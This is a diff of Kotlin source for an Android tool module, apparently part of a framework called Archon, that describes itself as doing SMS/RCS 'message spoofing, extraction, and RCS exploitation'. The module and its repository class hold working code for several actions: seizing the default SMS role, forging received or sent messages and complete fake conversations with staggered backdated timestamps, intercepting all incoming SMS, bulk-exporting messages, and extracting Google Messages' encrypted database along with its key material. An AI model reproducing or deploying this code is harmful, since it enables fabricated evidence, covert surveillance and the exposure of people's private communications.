today.set(Calendar.SECOND, 0)
today.set(Calendar.MILLISECOND, 0)
return if (timestamp >= today.timeInMillis) {
SimpleDateFormat("h:mm a", Locale.US).format(date)
} else {
SimpleDateFormat("MMM d, h:mm a", Locale.US).format(date)
}
}
/**
* Extension to safely find a view that may not exist in all layout variants.
*/
private fun View.findViewOrNull(id: Int): TextView? {
return try {
findViewById(id)
} catch (e: Exception) {
null
}
}
}

View File

@@ -0,0 +1,522 @@
package com.darkhal.archon.messaging
import android.content.Context
import android.os.Environment
import android.util.Log
import com.darkhal.archon.module.ArchonModule
import com.darkhal.archon.module.ModuleAction
import com.darkhal.archon.module.ModuleResult
import com.darkhal.archon.module.ModuleStatus
import com.darkhal.archon.util.PrivilegeManager
import java.io.File
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale
/**
* SMS/RCS Tools module — message spoofing, extraction, and RCS exploitation.
*
* Provides actions for:
* - Setting/restoring default SMS app role
* - Exporting all messages or specific threads
* - Forging (inserting fake) messages and conversations
* - Searching message content
* - Checking RCS status and capabilities
* - Shizuku integration status
* - SMS interception toggle
*
* All elevated operations route through ShizukuManager (which itself
* falls back to PrivilegeManager's escalation chain).
*/
class MessagingModule : ArchonModule {
companion object {
private const val TAG = "MessagingModule"
}
override val id = "messaging"
override val name = "SMS/RCS Tools"
override val description = "Message spoofing, extraction, and RCS exploitation"
override val version = "1.0"
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction(
id = "become_default",
name = "Become Default SMS",
description = "Set Archon as default SMS app (via Shizuku or role request)",
privilegeRequired = true
),
ModuleAction(
id = "restore_default",
name = "Restore Default SMS",
description = "Restore previous default SMS app",
privilegeRequired = true
),
ModuleAction(
id = "export_all",
name = "Export All Messages",
description = "Export all SMS/MMS to XML backup file",
privilegeRequired = false
),
ModuleAction(
id = "export_thread",
name = "Export Thread",
description = "Export specific conversation (use export_thread:<threadId>)",
privilegeRequired = false
),
ModuleAction(
id = "forge_message",
name = "Forge Message",
description = "Insert a fake message (use forge_message:<address>:<body>:<type>)",
privilegeRequired = true
),
ModuleAction(
id = "forge_conversation",
name = "Forge Conversation",
description = "Create entire fake conversation (use forge_conversation:<address>)",
privilegeRequired = true
),
ModuleAction(
id = "search_messages",
name = "Search Messages",
description = "Search all messages by keyword (use search_messages:<query>)",
privilegeRequired = false
),
ModuleAction(
id = "rcs_status",
name = "RCS Status",
description = "Check RCS availability and capabilities",
privilegeRequired = false
),
ModuleAction(
id = "shizuku_status",
name = "Shizuku Status",
description = "Check Shizuku integration status and privilege level",
privilegeRequired = false
),
ModuleAction(
id = "intercept_mode",
name = "Intercept Mode",
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
privilegeRequired = true,
rootOnly = false
),
ModuleAction(
id = "rcs_account",
name = "RCS Account Info",
description = "Get Google Messages RCS registration, IMS state, and carrier config",
privilegeRequired = true
),
ModuleAction(
id = "extract_bugle_db",
name = "Extract bugle_db",
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
privilegeRequired = true
),
ModuleAction(
id = "dump_decrypted",
name = "Dump Decrypted Messages",
description = "Query decrypted RCS/SMS messages from content providers and app context",
privilegeRequired = true
),
ModuleAction(
id = "extract_keys",
name = "Extract Encryption Keys",
description = "Extract bugle_db encryption key material from shared_prefs",
privilegeRequired = true
),
ModuleAction(
id = "gmsg_info",
name = "Google Messages Info",
description = "Get Google Messages version, UID, and RCS configuration",
privilegeRequired = false
)
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
val repo = MessagingRepository(context)
val shizuku = ShizukuManager(context)
return when {
actionId == "become_default" -> becomeDefault(shizuku)
actionId == "restore_default" -> restoreDefault(shizuku)
actionId == "export_all" -> exportAll(context, repo)
actionId == "export_thread" -> ModuleResult(false, "Specify thread: export_thread:<threadId>")
actionId.startsWith("export_thread:") -> {
val threadId = actionId.substringAfter(":").toLongOrNull()
?: return ModuleResult(false, "Invalid thread ID")
exportThread(context, repo, threadId)
}
actionId == "forge_message" -> ModuleResult(false, "Usage: forge_message:<address>:<body>:<type 1=recv 2=sent>")
actionId.startsWith("forge_message:") -> {
val params = actionId.removePrefix("forge_message:").split(":", limit = 3)
if (params.size < 3) return ModuleResult(false, "Usage: forge_message:<address>:<body>:<type>")
val type = params[2].toIntOrNull() ?: 1
forgeMessage(repo, params[0], params[1], type)
}
actionId == "forge_conversation" -> ModuleResult(false, "Specify address: forge_conversation:<phone>")
actionId.startsWith("forge_conversation:") -> {
val address = actionId.substringAfter(":")
forgeConversation(repo, address)
}
actionId == "search_messages" -> ModuleResult(false, "Specify query: search_messages:<keyword>")
actionId.startsWith("search_messages:") -> {
val query = actionId.substringAfter(":")
searchMessages(repo, query)
}
actionId == "rcs_status" -> rcsStatus(context, repo, shizuku)
actionId == "shizuku_status" -> shizukuStatus(shizuku)
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
actionId == "extract_keys" -> extractKeys(shizuku)
actionId == "gmsg_info" -> gmsgInfo(shizuku)
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val shizuku = ShizukuManager(context)
val shizukuReady = shizuku.isReady()
val privilegeReady = PrivilegeManager.isReady()
val summary = when {
shizukuReady -> "Ready (elevated access)"
privilegeReady -> "Ready (basic access)"
else -> "No privilege access — run Setup"
}
return ModuleStatus(
active = shizukuReady || privilegeReady,
summary = summary,
details = mapOf(
"shizuku" to shizuku.getStatus().label,
"privilege" to PrivilegeManager.getAvailableMethod().label
)
)
}
// ── Action implementations ─────────────────────────────────────
private fun becomeDefault(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required — start Archon Server or Shizuku first")
}
val success = shizuku.setDefaultSmsApp()
return if (success) {
ModuleResult(true, "Archon is now the default SMS app — can write to SMS database",
listOf("Previous default saved for restoration",
"Use 'Restore Default' when done"))
} else {
ModuleResult(false, "Failed to set default SMS app — check Shizuku/ADB permissions")
}
}
private fun restoreDefault(shizuku: ShizukuManager): ModuleResult {
val success = shizuku.revokeDefaultSmsApp()
return if (success) {
ModuleResult(true, "Default SMS app restored")
} else {
ModuleResult(false, "Failed to restore default SMS app")
}
}
private fun exportAll(context: Context, repo: MessagingRepository): ModuleResult {
return try {
val xml = repo.exportAllMessages("xml")
if (xml.isBlank()) {
return ModuleResult(false, "No messages to export (check SMS permission)")
}
// Write to file
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
exportDir.mkdirs()
val file = File(exportDir, "sms_backup_$timestamp.xml")
file.writeText(xml)
val lineCount = xml.lines().size
ModuleResult(true, "Exported $lineCount lines to ${file.absolutePath}",
listOf("Format: SMS Backup & Restore compatible XML",
"Path: ${file.absolutePath}",
"Size: ${file.length() / 1024}KB"))
} catch (e: Exception) {
Log.e(TAG, "Export failed", e)
ModuleResult(false, "Export failed: ${e.message}")
}
}
private fun exportThread(context: Context, repo: MessagingRepository, threadId: Long): ModuleResult {
return try {
val xml = repo.exportConversation(threadId, "xml")
if (xml.isBlank()) {
return ModuleResult(false, "No messages in thread $threadId or no permission")
}
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
exportDir.mkdirs()
val file = File(exportDir, "thread_${threadId}_$timestamp.xml")
file.writeText(xml)
ModuleResult(true, "Exported thread $threadId to ${file.name}",
listOf("Path: ${file.absolutePath}", "Size: ${file.length() / 1024}KB"))
} catch (e: Exception) {
ModuleResult(false, "Thread export failed: ${e.message}")
}
}
private fun forgeMessage(repo: MessagingRepository, address: String, body: String, type: Int): ModuleResult {
val id = repo.forgeMessage(
address = address,
body = body,
type = type,
date = System.currentTimeMillis(),
read = true
)
return if (id >= 0) {
val direction = if (type == 1) "received" else "sent"
ModuleResult(true, "Forged $direction message id=$id",
listOf("Address: $address", "Body: ${body.take(50)}", "Type: $direction"))
} else {
ModuleResult(false, "Forge failed — is Archon the default SMS app? Use 'Become Default' first")
}
}
private fun forgeConversation(repo: MessagingRepository, address: String): ModuleResult {
// Create a sample conversation with back-and-forth messages
val messages = listOf(
"Hey, are you there?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Yeah, what's up?" to MessagingRepository.MESSAGE_TYPE_SENT,
"Can you meet me later?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Sure, what time?" to MessagingRepository.MESSAGE_TYPE_SENT,
"Around 7pm at the usual place" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Sounds good, see you then" to MessagingRepository.MESSAGE_TYPE_SENT,
)
val threadId = repo.forgeConversation(address, messages)
return if (threadId >= 0) {
ModuleResult(true, "Forged conversation thread=$threadId with ${messages.size} messages",
listOf("Address: $address", "Messages: ${messages.size}", "Thread ID: $threadId"))
} else {
ModuleResult(false, "Forge conversation failed — is Archon the default SMS app?")
}
}
private fun searchMessages(repo: MessagingRepository, query: String): ModuleResult {
val results = repo.searchMessages(query)
if (results.isEmpty()) {
return ModuleResult(true, "No messages matching '$query'")
}
val details = results.take(20).map { msg ->
val direction = if (msg.type == 1) "recv" else "sent"
val dateStr = SimpleDateFormat("MM/dd HH:mm", Locale.US).format(Date(msg.date))
"[$direction] ${msg.address} ($dateStr): ${msg.body.take(60)}"
}
val extra = if (results.size > 20) {
listOf("... and ${results.size - 20} more results")
} else {
emptyList()
}
return ModuleResult(true, "${results.size} message(s) matching '$query'",
details + extra)
}
private fun rcsStatus(context: Context, repo: MessagingRepository, shizuku: ShizukuManager): ModuleResult {
val details = mutableListOf<String>()
// Check RCS availability
val rcsAvailable = repo.isRcsAvailable()
details.add("RCS available: $rcsAvailable")
if (rcsAvailable) {
details.add("Provider: Google Messages")
} else {
details.add("RCS not detected — Google Messages may not be installed or RCS not enabled")
}
// Check if we can access RCS provider
if (shizuku.isReady()) {
val canAccess = shizuku.accessRcsProvider()
details.add("RCS provider access: $canAccess")
if (canAccess) {
val rcsMessages = shizuku.readRcsDatabase()
details.add("RCS messages readable: ${rcsMessages.size}")
}
} else {
details.add("Elevated access needed for full RCS access")
}
return ModuleResult(true,
if (rcsAvailable) "RCS available" else "RCS not detected",
details)
}
private fun shizukuStatus(shizuku: ShizukuManager): ModuleResult {
val status = shizuku.getStatus()
val privilegeMethod = PrivilegeManager.getAvailableMethod()
val details = listOf(
"Shizuku status: ${status.label}",
"Privilege method: ${privilegeMethod.label}",
"Elevated ready: ${shizuku.isReady()}",
"Can write SMS DB: ${status == ShizukuManager.ShizukuStatus.READY}",
"Can access RCS: ${status == ShizukuManager.ShizukuStatus.READY}"
)
return ModuleResult(true, status.label, details)
}
private fun interceptMode(shizuku: ShizukuManager, enable: Boolean): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required for interception")
}
val success = shizuku.interceptSms(enable)
return if (success) {
val state = if (enable) "ENABLED" else "DISABLED"
ModuleResult(true, "SMS interception $state",
listOf(if (enable) {
"Archon is now the default SMS handler — all incoming messages will be captured"
} else {
"Previous SMS handler restored"
}))
} else {
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
}
}
// ── Google Messages RCS database access ─────────────────────────
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val info = shizuku.getRcsAccountInfo()
val details = mutableListOf<String>()
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
val gmsg = info["google_messages"] as? Map<*, *>
if (gmsg != null) {
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
}
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
details.add("Carrier RCS keys: ${rcsConfig.size}")
rcsConfig.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
gmsgPrefs.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
ModuleResult(true, "RCS account info retrieved", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
}
return try {
val result = shizuku.extractBugleDbRaw()
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
val details = mutableListOf<String>()
details.add("Database files: ${dbFiles.joinToString(", ")}")
details.add("Staging dir: ${result["staging_dir"]}")
details.add("ENCRYPTED: ${result["encrypted"]}")
details.add(result["note"].toString())
details.add("")
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
details.add("Key material in shared_prefs/ may enable offline decryption")
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
} catch (e: Exception) {
ModuleResult(false, "Extract failed: ${e.message}")
}
}
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.dumpDecryptedMessages()
val count = result["message_count"] as? Int ?: 0
val details = mutableListOf<String>()
details.add("Messages retrieved: $count")
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
if (result["json_path"] != null) {
details.add("JSON dump: ${result["json_path"]}")
}
details.add(result["note"].toString())
if (count > 0) {
details.add("")
details.add("Use AUTARCH web UI to pull the decrypted dump")
}
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
} catch (e: Exception) {
ModuleResult(false, "Dump failed: ${e.message}")
}
}
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.extractEncryptionKeyMaterial()
if (result.containsKey("error")) {
return ModuleResult(false, result["error"].toString())
}
val details = mutableListOf<String>()
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
details.add("Crypto-related shared_prefs files: $cryptoCount")
val prefFiles = result["shared_prefs_files"] as? List<*>
if (prefFiles != null) {
details.add("Total shared_prefs files: ${prefFiles.size}")
}
val filesDir = result["files_dir"] as? List<*>
if (filesDir != null) {
details.add("Files dir entries: ${filesDir.size}")
}
details.add("")
details.add("NOTE: bugle_db encryption key may be in these files.")
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
details.add("If key derivation params are in shared_prefs, offline")
details.add("decryption may be possible with the right tools.")
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
} catch (e: Exception) {
ModuleResult(false, "Key extraction failed: ${e.message}")
}
}
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
return try {
val info = shizuku.getGoogleMessagesInfo()
if (info.isEmpty()) {
return ModuleResult(false, "Google Messages not found or not accessible")
}
val details = info.map { (k, v) -> "$k: $v" }
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
}

View File

@@ -0,0 +1,940 @@
package com.darkhal.archon.messaging
import android.content.ContentValues
import android.content.Context
import android.database.Cursor
import android.net.Uri
import android.provider.ContactsContract
import android.provider.Telephony
import android.telephony.SmsManager
import android.util.Log
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale
/**
* Data access layer for SMS/MMS/RCS messages using Android ContentResolver.
*
* Most write operations require the app to be the default SMS handler.
* Use ShizukuManager or RoleManager to acquire that role first.
*/
class MessagingRepository(private val context: Context) {
companion object {
private const val TAG = "MessagingRepo"
// SMS message types
const val MESSAGE_TYPE_RECEIVED = 1
const val MESSAGE_TYPE_SENT = 2
const val MESSAGE_TYPE_DRAFT = 3
const val MESSAGE_TYPE_OUTBOX = 4
const val MESSAGE_TYPE_FAILED = 5
const val MESSAGE_TYPE_QUEUED = 6
// Content URIs
val URI_SMS: Uri = Uri.parse("content://sms/")
val URI_MMS: Uri = Uri.parse("content://mms/")
val URI_SMS_CONVERSATIONS: Uri = Uri.parse("content://sms/conversations/")
val URI_MMS_SMS_CONVERSATIONS: Uri = Uri.parse("content://mms-sms/conversations/")
val URI_MMS_SMS_COMPLETE: Uri = Uri.parse("content://mms-sms/complete-conversations/")
// RCS content provider (Google Messages)
val URI_RCS_MESSAGES: Uri = Uri.parse("content://im/messages")
val URI_RCS_THREADS: Uri = Uri.parse("content://im/threads")
}
// ── Data classes ───────────────────────────────────────────────
data class Conversation(
val threadId: Long,
val address: String,
val snippet: String,
val date: Long,
val messageCount: Int,
val unreadCount: Int,
val contactName: String?
)
data class Message(
val id: Long,
val threadId: Long,
val address: String,
val body: String,
val date: Long,
val type: Int,
val read: Boolean,
val status: Int,
val isRcs: Boolean,
val isMms: Boolean,
val contactName: String?
)
// ── Read operations ────────────────────────────────────────────
/**
* Get all conversations from the combined SMS+MMS threads provider.
* Falls back to SMS-only conversations if the combined provider is not available.
*/
fun getConversations(): List<Conversation> {
val conversations = mutableListOf<Conversation>()
val threadMap = mutableMapOf<Long, Conversation>()
try {
// Query all SMS messages grouped by thread_id
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "read", "type"),
null, null, "date DESC"
)
cursor?.use {
while (it.moveToNext()) {
val threadId = it.getLongSafe("thread_id")
if (threadId <= 0) continue
val existing = threadMap[threadId]
if (existing != null) {
// Update counts
val unread = if (!it.getBoolSafe("read")) 1 else 0
threadMap[threadId] = existing.copy(
messageCount = existing.messageCount + 1,
unreadCount = existing.unreadCount + unread
)
} else {
val address = it.getStringSafe("address")
val read = it.getBoolSafe("read")
threadMap[threadId] = Conversation(
threadId = threadId,
address = address,
snippet = it.getStringSafe("body"),
date = it.getLongSafe("date"),
messageCount = 1,
unreadCount = if (!read) 1 else 0,
contactName = getContactName(address)
)
}
}
}
conversations.addAll(threadMap.values)
conversations.sortByDescending { it.date }
} catch (e: SecurityException) {
Log.e(TAG, "No SMS read permission", e)
} catch (e: Exception) {
Log.e(TAG, "Failed to get conversations", e)
}
return conversations
}
/**
* Get all messages in a specific thread, ordered by date ascending (oldest first).
*/
fun getMessages(threadId: Long): List<Message> {
val messages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
// Also try to load MMS messages for this thread
loadMmsForThread(threadId, messages)
// Sort combined list by date
messages.sortBy { it.date }
} catch (e: SecurityException) {
Log.e(TAG, "No SMS read permission", e)
} catch (e: Exception) {
Log.e(TAG, "Failed to get messages for thread $threadId", e)
}
return messages
}
/**
* Get a single message by ID.
*/
fun getMessage(id: Long): Message? {
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"_id = ?",
arrayOf(id.toString()),
null
)
cursor?.use {
if (it.moveToFirst()) {
val address = it.getStringSafe("address")
return Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
)
}
}
} catch (e: Exception) {
Log.e(TAG, "Failed to get message $id", e)
}
return null
}
/**
* Full-text search across all SMS message bodies.
*/
fun searchMessages(query: String): List<Message> {
val messages = mutableListOf<Message>()
if (query.isBlank()) return messages
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"body LIKE ?",
arrayOf("%$query%"),
"date DESC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.e(TAG, "Search failed for '$query'", e)
}
return messages
}
/**
* Lookup contact display name by phone number.
*/
fun getContactName(address: String): String? {
if (address.isBlank()) return null
try {
val uri = Uri.withAppendedPath(
ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(address)
)
val cursor = context.contentResolver.query(
uri,
arrayOf(ContactsContract.PhoneLookup.DISPLAY_NAME),
null, null, null
)
cursor?.use {
if (it.moveToFirst()) {
val idx = it.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)
if (idx >= 0) return it.getString(idx)
}
}
} catch (e: Exception) {
// Contact lookup can fail for short codes, etc.
Log.d(TAG, "Contact lookup failed for $address: ${e.message}")
}
return null
}
// ── Write operations (requires default SMS app role) ──────────
/**
* Send an SMS message via SmsManager.
* Returns true if the message was submitted to the system for sending.
*/
fun sendSms(address: String, body: String): Boolean {
return try {
val smsManager = context.getSystemService(SmsManager::class.java)
if (body.length > 160) {
val parts = smsManager.divideMessage(body)
smsManager.sendMultipartTextMessage(address, null, parts, null, null)
} else {
smsManager.sendTextMessage(address, null, body, null, null)
}
// Also insert into sent box
insertSms(address, body, MESSAGE_TYPE_SENT, System.currentTimeMillis(), true)
true
} catch (e: Exception) {
Log.e(TAG, "Failed to send SMS to $address", e)
false
}
}
/**
* Insert an SMS record into the content provider.
* Requires default SMS app role for writing.
*
* @param type 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued
* @return the row ID of the inserted message, or -1 on failure
*/
fun insertSms(address: String, body: String, type: Int, date: Long, read: Boolean): Long {
return try {
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("type", type)
put("date", date)
put("read", if (read) 1 else 0)
put("seen", 1)
}
val uri = context.contentResolver.insert(URI_SMS, values)
if (uri != null) {
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
Log.i(TAG, "Inserted SMS id=$id type=$type addr=$address")
id
} else {
Log.w(TAG, "SMS insert returned null URI — app may not be default SMS handler")
-1L
}
} catch (e: SecurityException) {
Log.e(TAG, "No write permission — must be default SMS app", e)
-1L
} catch (e: Exception) {
Log.e(TAG, "Failed to insert SMS", e)
-1L
}
}
/**
* Update an existing SMS message's fields.
*/
fun updateMessage(id: Long, body: String?, type: Int?, date: Long?, read: Boolean?): Boolean {
return try {
val values = ContentValues()
body?.let { values.put("body", it) }
type?.let { values.put("type", it) }
date?.let { values.put("date", it) }
read?.let { values.put("read", if (it) 1 else 0) }
if (values.size() == 0) return false
val count = context.contentResolver.update(
Uri.parse("content://sms/$id"),
values, null, null
)
Log.i(TAG, "Updated SMS id=$id, rows=$count")
count > 0
} catch (e: SecurityException) {
Log.e(TAG, "No write permission for update", e)
false
} catch (e: Exception) {
Log.e(TAG, "Failed to update message $id", e)
false
}
}
/**
* Delete a single SMS message by ID.
*/
fun deleteMessage(id: Long): Boolean {
return try {
val count = context.contentResolver.delete(
Uri.parse("content://sms/$id"), null, null
)
Log.i(TAG, "Deleted SMS id=$id, rows=$count")
count > 0
} catch (e: Exception) {
Log.e(TAG, "Failed to delete message $id", e)
false
}
}
/**
* Delete all messages in a conversation thread.
*/
fun deleteConversation(threadId: Long): Boolean {
return try {
val count = context.contentResolver.delete(
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
)
Log.i(TAG, "Deleted conversation thread=$threadId, rows=$count")
count > 0
} catch (e: Exception) {
Log.e(TAG, "Failed to delete conversation $threadId", e)
false
}
}
/**
* Mark all messages in a thread as read.
*/
fun markAsRead(threadId: Long): Boolean {
return try {
val values = ContentValues().apply {
put("read", 1)
put("seen", 1)
}
val count = context.contentResolver.update(
URI_SMS, values,
"thread_id = ? AND read = 0",
arrayOf(threadId.toString())
)
Log.i(TAG, "Marked $count messages as read in thread $threadId")
count >= 0
} catch (e: Exception) {
Log.e(TAG, "Failed to mark thread $threadId as read", e)
false
}
}
// ── Spoofing / Forging ─────────────────────────────────────────
/**
* Insert a forged message with arbitrary sender, body, timestamp, and direction.
* This creates a message that appears to come from the given address
* at the given time, regardless of whether it was actually received.
*
* Requires default SMS app role.
*
* @param type MESSAGE_TYPE_RECEIVED (1) to fake incoming, MESSAGE_TYPE_SENT (2) to fake outgoing
* @return the row ID of the forged message, or -1 on failure
*/
fun forgeMessage(
address: String,
body: String,
type: Int,
date: Long,
contactName: String? = null,
read: Boolean = true
): Long {
return try {
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("type", type)
put("date", date)
put("read", if (read) 1 else 0)
put("seen", 1)
// Set status to complete for sent messages
if (type == MESSAGE_TYPE_SENT) {
put("status", Telephony.Sms.STATUS_COMPLETE)
}
// person field links to contacts — we leave it null for forged messages
// unless we want to explicitly associate with a contact
contactName?.let { put("person", 0) }
}
val uri = context.contentResolver.insert(URI_SMS, values)
if (uri != null) {
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
Log.i(TAG, "Forged SMS id=$id type=$type addr=$address date=$date")
id
} else {
Log.w(TAG, "Forge insert returned null — not default SMS app?")
-1L
}
} catch (e: SecurityException) {
Log.e(TAG, "Forge failed — no write permission", e)
-1L
} catch (e: Exception) {
Log.e(TAG, "Forge failed", e)
-1L
}
}
/**
* Create an entire fake conversation by inserting multiple messages.
*
* @param messages list of (body, type) pairs where type is 1=received, 2=sent
* @return the thread ID of the created conversation, or -1 on failure
*/
fun forgeConversation(address: String, messages: List<Pair<String, Int>>): Long {
if (messages.isEmpty()) return -1L
// Insert messages with increasing timestamps, 1-5 minutes apart
var timestamp = System.currentTimeMillis() - (messages.size * 180_000L) // Start N*3min ago
var threadId = -1L
for ((body, type) in messages) {
val id = forgeMessage(address, body, type, timestamp, read = true)
if (id < 0) {
Log.e(TAG, "Failed to forge message in conversation")
return -1L
}
// Get the thread ID from the first inserted message
if (threadId < 0) {
val msg = getMessage(id)
threadId = msg?.threadId ?: -1L
}
// Advance 1-5 minutes
timestamp += (60_000L + (Math.random() * 240_000L).toLong())
}
Log.i(TAG, "Forged conversation: addr=$address, msgs=${messages.size}, thread=$threadId")
return threadId
}
// ── Export / Backup ────────────────────────────────────────────
/**
* Export a conversation to SMS Backup & Restore compatible XML format.
*/
fun exportConversation(threadId: Long, format: String = "xml"): String {
val messages = getMessages(threadId)
if (messages.isEmpty()) return ""
return when (format.lowercase()) {
"xml" -> exportToXml(messages)
"csv" -> exportToCsv(messages)
else -> exportToXml(messages)
}
}
/**
* Export all SMS messages to the specified format.
*/
fun exportAllMessages(format: String = "xml"): String {
val allMessages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
null, null, "date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
allMessages.add(Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.e(TAG, "Failed to export all messages", e)
return "<!-- Export error: ${e.message} -->"
}
return when (format.lowercase()) {
"xml" -> exportToXml(allMessages)
"csv" -> exportToCsv(allMessages)
else -> exportToXml(allMessages)
}
}
private fun exportToXml(messages: List<Message>): String {
val sb = StringBuilder()
sb.appendLine("<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>")
sb.appendLine("<?xml-stylesheet type=\"text/xsl\" href=\"sms.xsl\"?>")
sb.appendLine("<smses count=\"${messages.size}\">")
val dateFormat = SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.US)
for (msg in messages) {
val typeStr = when (msg.type) {
MESSAGE_TYPE_RECEIVED -> "1"
MESSAGE_TYPE_SENT -> "2"
MESSAGE_TYPE_DRAFT -> "3"
else -> msg.type.toString()
}
val readableDate = dateFormat.format(Date(msg.date))
val escapedBody = escapeXml(msg.body)
val escapedAddr = escapeXml(msg.address)
val contactStr = escapeXml(msg.contactName ?: "(Unknown)")
sb.appendLine(" <sms protocol=\"0\" address=\"$escapedAddr\" " +
"date=\"${msg.date}\" type=\"$typeStr\" " +
"subject=\"null\" body=\"$escapedBody\" " +
"toa=\"null\" sc_toa=\"null\" service_center=\"null\" " +
"read=\"${if (msg.read) "1" else "0"}\" status=\"${msg.status}\" " +
"locked=\"0\" date_sent=\"0\" " +
"readable_date=\"$readableDate\" " +
"contact_name=\"$contactStr\" />")
}
sb.appendLine("</smses>")
return sb.toString()
}
